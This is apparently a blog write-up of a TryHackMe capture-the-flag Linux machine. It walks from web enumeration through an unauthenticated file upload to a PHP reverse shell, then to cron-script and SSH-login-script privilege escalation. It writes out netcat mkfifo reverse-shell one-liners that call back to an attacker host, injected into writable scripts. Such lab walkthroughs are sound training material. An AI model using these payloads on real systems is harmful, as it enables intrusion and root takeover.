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OwaspQuiz machine

Posted May 18, 2022 2022-05-18T21:40:10+03:00 by peter chin

OwaspQuiz

LESSON LEARNED IN THIS MACHINE

  1. Web application Enumeration
  2. Exploitiing Broken Access Control in admin page
  3. Exploiting insecure cron jobs
  4. User privilege escalation
  5. Undestanding linux security alerts, Throught auto email on ssh login
  6. Exploiting script-binaries-in-path.
  7. Undestanding file attributes
  8. Writting to files with only append mode.
  9. Root privilege escalation throught ssh login

This room was created by peterchain on trychckme platform it’s difficulty level was easy. – - Lets start with enumerations as it was proposed by

nmap scan

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nmap  -sC -sV 10.9.11.230 -oN nmap-scan

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┌──(gemstone㉿kali)-[~/C7F5/thm/chain]
└─$ cat nmap-scan 
# Nmap 7.92 scan initiated Sat May 14 17:02:25 2022 as: nmap -sC -sV -oN nmap-scan 10.10.176.162
Nmap scan report for 10.10.176.162
Host is up (0.17s latency).
Not shown: 994 filtered tcp ports (no-response)
PORT     STATE  SERVICE  VERSION
20/tcp   closed ftp-data
21/tcp   open   ftp      vsftpd 3.0.3
22/tcp   open   ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f0:c0:cd:b4:9a:8d:c9:8d:3e:59:0a:a6:f6:90:98:f7 (RSA)
|   256 17:b2:38:4d:f0:d5:d3:4a:a9:15:96:88:aa:d8:25:2b (ECDSA)
|_  256 38:99:59:33:67:ea:c6:e6:24:be:62:70:12:ec:3e:ac (ED25519)
80/tcp   open   http     Apache httpd 2.4.29 ((Ubuntu))
|_http-title: home - Welcome
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp  closed https
3306/tcp closed mysql
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 14 17:02:52 2022 -- 1 IP address (1 host up) scanned in 27.20 seconds

Then this is web and it is running on port 80 and it is open. It contains some other ports open but they can not help us for now. – -

Gobuster scan

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└─$ gobuster dir -u http://192.168.56.103/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt 2>/dev/null
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.103/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
2022/05/21 16:56:38 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 15008]
/images               (Status: 301) [Size: 317] [--> http://192.168.56.103/images/]
/uploads              (Status: 301) [Size: 318] [--> http://192.168.56.103/uploads/]
/gallery.php          (Status: 200) [Size: 3050]                                    
/admin                (Status: 301) [Size: 316] [--> http://192.168.56.103/admin/]  
/assets               (Status: 301) [Size: 317] [--> http://192.168.56.103/assets/] 

[!] Keyboard interrupt detected, terminating.
===============================================================
2022/05/21 16:56:52 Finished
===============================================================

Here we have some useful directories like /admin Let’s dig more on it.

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└─$ gobuster dir -u http://192.168.56.103/admin -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt 2>/dev/null
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.103/admin
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
2022/05/21 16:58:43 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 3991]
/header.php           (Status: 302) [Size: 4] [--> logout.php]
/assets               (Status: 301) [Size: 323] [--> http://192.168.56.103/admin/assets/]
/home.php             (Status: 302) [Size: 8846] [--> logout.php]                        
/logout.php           (Status: 302) [Size: 0] [--> index.php]                            
/slider.php           (Status: 200) [Size: 22426]

Here we get some usefull directories attached to the admin directory. If we try to visit each directory we will find some directory redirect us to loggin page. but the directory /admin/slider.php. Do not have permission set. So we can access it. – -

[!THEN] Visit the /admin/slider.php

In this page we can upload file and instructions specifies that it is image upload, but what if we can upload any file example a php file with malicious codes which can give us reverse shell.

[!INFO] This is Broken Access Control Vulnerability, It allows unauthenticated users to view/access the pages for authenticated users

Then i decided to upload the pentestmonkey php reverse shell which will give us a reverse shell.

info Before uploadding a reverse shell payload from pentestmonkey make sure you are listenning with netcat through the following

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┌──(gemstone㉿kali)-[~/C7F5/thm/chain]
└─$ nc -nvlp 1234                            
listening on [any] 1234 ...

After uploading it it will prompt the following message

Then for us to get the shell we have to make sure that the php reverse shell payload is executing and this can be done by know/identify where excatly the script is uploaded. On the image above it seems the slider has been added to gallery and in the dir bruteforcing we got gallery.php so we will go to that page and refresh it.

And after navigating t o gallery page, Boom!!! on our netcat we have a shell as user batman

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└─$ nc -nlvp 4444                             
listening on [any] 4444 ...
connect to [x.x.x.x] from (UNKNOWN) [x.x.x.x] 33924
Linux owaspQuiz 5.4.0-110-generic #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 14:04:37 up  1:22,  0 users,  load average: 0.18, 0.54, 0.40
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1002(batman) gid=1002(batman) groups=1002(batman)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1002(batman) gid=1002(batman) groups=1002(batman)
$ whoami
batman
$

We are in. – -

Stabilize shell.

Now we have shell but if it is not stable meaning if we press ctr+c the shell will lost then here are some of the steps.

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$ python3 -c 'import pty;pty.spawn("/bin/bash")'
batman@owaspQuiz:/$ 
batman@owaspQuiz:/$ export TERM=xterm-256color

alias ll='ls -lsaht --color=auto'export TERM=xterm-256color
batman@owaspQuiz:/$ 
batman@owaspQuiz:/$ ^Z
zsh: suspended  nc -nvlp 4444
                                                                                   
┌──(gemstone㉿kali)-[~/C7F5/thm/chain]
└─$ stty raw -echo;fg;reset                                                                                                                                                         148 ⨯ 1 ⚙
[1]  + continued  nc -nvlp 4444

batman@owaspQuiz:/$ 
batman@owaspQuiz:/$ 
batman@owaspQuiz:/$

Then we are good now and We can continue with privilege escalation.

Check whoami with which commands we can run with sudo -l.

Then we can not view because the batman requires password and we don’t have.

Then we will check some other interesting files including flags.

After listing some folders we discovered that they are two users in our machine user batman and user munojr

On munojr home’s directory there is our first flag then we will try to read it.

We can not read the file then lets check the cron jobs. INFO

After uploading linpease there is interesting writable entry in /ect/crontab – -

User privilege escalation.

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batman@owaspQuiz:/home/munojr$ cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   munojr  /opt/munoupdate.sh
#
batman@owaspQuiz:/home/munojr$

Interesting there is a script in crontab which runs in every minute and it has named as munoupdate.sh

Lets read the file permission and check if we can write it.

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batman@owaspQuiz:/home/munojr$ ls -l /opt/munoupdate.sh 
-rwxr-xrwx 1 munojr munojr 845 May 13 15:05 /opt/munoupdate.sh

Bravo we can write on the script then lets read first before changing it.

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batman@owaspQuiz:/home/munojr$ cat  /opt/munoupdate.sh 

#!/bin/bash
startupdate() {
    
                echo
                echo "-----------------------------------------"
                echo ">>> Command Execting Was Successful.  <<<" 
                echo "-----------------------------------------"
                echo
}
start() {
            echo
            echo "***>>> Updating The Operating System <<<***"
            echo         
}
exitUpdate() {
            echo
            echo "-------------------------------------------------------"
            echo ">>>    Operating System Update Has Been Completed   <<<"
            echo "-------------------------------------------------------"
            echo
            exit 1
}
#calls the functions
start
startupdate
exitUpdate

We can use the payload from penetester monkey and listen for the munojr shell in my case i changed to the following.

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rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.11.230 1122 >/tmp/f

And then listening to with netcat. info When you start netcat you have to wait for one minute so that you can have a reverse shell.

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┌──(gemstone㉿kali)-[~/C7F5/thm/chain]
└─$ nc -nvlp 1122
listening on [any] 1122 ...
connect to [10.9.11.230] from (UNKNOWN) [10.10.8.200] 52262
/bin/sh: 0: can't access tty; job control turned off
$

We know have a shell then we will stabilize as usual and after it lets read the user.txt file first.

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munojr@owaspQuiz:~$ ls
todo.txt  user.txt
munojr@owaspQuiz:~$ cat user.txt 
THM{REDACTED}

Now we are half of the journey lets continue to the escalation to root user. – -

Root privilege escalation.

On munojr home directory they were two files and we read only user.txt then lets read todo.txt file.

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munojr@owaspQuiz:~$ cat todo.txt 
Hey; munojr I want you to automate system security, Make sure an login attempt it reported! kindly make sure all scripts are secure!!

regards peterChain!!

Your current password is : [Redacted]

This was a message showing that there are some scripts that do some auto system security. Lets upload linpeas.sh again to help use recon with user munojr.

Running linpease second time there is something interesting

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╔══════════╣ .sh files in path
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path
You can write script: /usr/local/sbin/ssh-alert.sh
/usr/bin/gettext.sh
/usr/bin/rescan-scsi-bus.sh

So it seems that there is writable script by user munojr

lets navigate to it

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munojr@owaspQuiz:/usr/local/sbin$ cat ssh-alert.sh 
#!/bin/bash

RECIPIENT="root@owaspQuiz.thm"
SUBJECT="Email from Server Login: SSH Alert"

BODY="
A SSH login was detected.

        User:        $PAM_USER
        User IP Host: $PAM_RHOST
        Service:     $PAM_SERVICE
        TTY:         $PAM_TTY
        Date:        `date`
        Server:      `uname -a`
"

if [[ ${PAM_TYPE} == "open_session" ]]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
        exit 1
fi

So the script as seen is aimed to run at every ssh login. And after some research, The script runn with root permission.

NOTE

The script seems to have some immutable file attributes as shown below. It allows only append mode!! using lsattr command to view permissions of file.

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munojr@owaspQuiz:/usr/local/sbin$ lsattr ssh-alert.sh 
-----a--------e----- ssh-alert.sh
You have new mail in /var/mail/munojr

It is bit more confusing if you don’t know Linux. But after using cat command it is successfully. as bellow.

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munojr@owaspQuiz:/usr/local/sbin$ cat <<EOF >> ssh-alert.sh 
> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 1234 >/tmp/f
> EOF
You have new mail in /var/mail/munojr
munojr@owaspQuiz:/usr/local/sbin$ cat ssh-alert.sh 
#!/bin/bash

RECIPIENT="root@owaspQuiz.thm"
SUBJECT="Email from Server Login: SSH Alert"

BODY="
A SSH login was detected.

        User:        $PAM_USER
        User IP Host: $PAM_RHOST
        Service:     $PAM_SERVICE
        TTY:         $PAM_TTY
        Date:        `date`
        Server:      `uname -a`
"

if [[ ${PAM_TYPE} == "open_session" ]]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
        exit 1
fi
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc  x.x.x.x 1234 >/tmp/f
munojr@owaspQuiz:/usr/local/sbin$

Then login to the system with id_rsa and listen to another shell with netcat

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└─$ ssh munojr@192.168.56.103 -i id_rsa
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-110-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 21 May 2022 01:29:57 PM UTC

  System load:  0.3                Users logged in:       1
  Usage of /:   15.4% of 30.88GB   IPv4 address for eth0: 10.0.2.15
  Memory usage: 68%                IPv4 address for eth1: x.x.x.x
  Swap usage:   0%                 IPv4 address for eth2: x.x.x.x
  Processes:    147

  => There is 1 zombie process.


This system is built by the Bento project by Chef Software
More information can be found at https://github.com/chef/bento
You have new mail.
/usr/local/sbin/ssh-alert.sh failed: exit code 1

In the other netcat listener.

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─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [172.17.17.62] from (UNKNOWN) [x.x.x.x] 51856
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# echo `hostname`;whoami
owaspQuiz
root
# cd /root/
# ls -la
total 36
drwx------  5 root root 4096 May 21 13:01 .
drwxr-xr-x 22 root root 4096 May 14 13:20 ..
lrwxrwxrwx  1 root root    9 May 21 13:01 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Dec  5  2019 .bashrc
drwxr-xr-x  3 root root 4096 May 21 09:30 .local
-rw-------  1 root root  447 May 21 10:32 .mysql_history
-rw-r--r--  1 root root  161 Dec  5  2019 .profile
-rw-r--r--  1 root root   36 May 21 13:01 root.txt
drwxr-xr-x  3 root root 4096 Dec 19 19:42 snap
drwx------  2 root root 4096 Dec 19 19:42 .ssh
# cat root.txt
THM{WREDACTED}

THE END

Thanks for reading you can check me on twitter. – -

Tryhackme, Linux Machine
ctf
This post is licensed under CC BY 4.0 by the author.

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